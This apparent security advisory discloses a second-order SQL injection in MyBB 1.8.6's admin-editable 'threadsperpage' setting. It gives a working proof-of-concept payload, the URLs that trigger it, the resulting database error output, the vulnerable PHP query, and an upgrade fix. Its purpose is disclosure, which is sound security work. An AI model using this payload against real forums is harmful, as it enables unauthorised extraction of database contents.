MyBB 1.8.6: SQL Injection

Date: 2016-09-15 14:21:23

1. Introduction

2. Overview

MyBB is forum software written in PHP. In version 1.8.6, it is vulnerable to a second order SQL injection by an authenticated admin user, allowing the extraction of data from the database.

3. Details

Description

CVSS: Medium 6.0 AV:N/AC:M/Au:S/C:P/I:P/A:P

The setting threadsperpage is vulnerable to second order error based SQL injection. An admin account is needed to change this setting.

The injection takes place into a LIMIT clause, and the query also uses ORDER BY, making an injection of UNION ALL not possible, but it is still possibly to extract information.

Proof of Concept

Go to the settings page: http://localhost/mybb_1806/Upload/admin/index.php?module=config-settings&action=change&gid=7 For Setting "threadsperpage" use: 20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); Visit a forum to trigger injected code: http://localhost/mybb_1806/Upload/forumdisplay.php?fid=3 The result will be: SQL Error: 1105 - XPATH syntax error: ':5.5.33-1' Query: SELECT t.*, (t.totalratings/t.numratings) AS averagerating, t.username AS threadusername, u.username FROM mybb_threads t LEFT JOIN mybb_users u ON (u.uid = t.uid) WHERE t.fid='3' AND t.visible IN (-1,0,1) ORDER BY t.sticky DESC, t.lastpost desc LIMIT 0, 20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

Code

forumdisplay.php $perpage = $mybb->settings['threadsperpage']; [...] $query = $db->query(" SELECT t.*, {$ratingadd}t.username AS threadusername, u.username FROM ".TABLE_PREFIX."threads t LEFT JOIN ".TABLE_PREFIX."users u ON (u.uid = t.uid) WHERE t.fid='$fid' $tuseronly $tvisibleonly $datecutsql2 $prefixsql2 ORDER BY t.sticky DESC, {$t}{$sortfield} $sortordernow $sortfield2 LIMIT $start, $perpage ");

4. Solution

To mitigate this issue please upgrade at least to version 1.8.7:

http://resources.mybb.com/downloads/mybb_1807.zip

Please note that a newer version might already be available.

5. Report Timeline